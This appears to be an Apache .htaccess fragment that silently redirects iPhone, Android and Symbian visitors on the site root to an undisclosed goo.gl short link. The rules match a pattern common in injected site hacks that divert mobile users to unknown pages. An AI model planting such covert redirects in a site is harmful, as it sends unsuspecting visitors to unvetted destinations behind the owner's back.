RewriteCond %{HTTP_USER_AGENT} (?i:iphone)
RewriteRule ^(/)?$ http://goo.gl/eLUPc2 [R=301]
RewriteCond %{HTTP_USER_AGENT} (?i:android)
RewriteRule ^(/)?$ http://goo.gl/eLUPc2 [R=301]
RewriteCond %{HTTP_USER_AGENT} (?i:symbian)
RewriteRule ^(/)?$ http://goo.gl/eLUPc2 [R=301]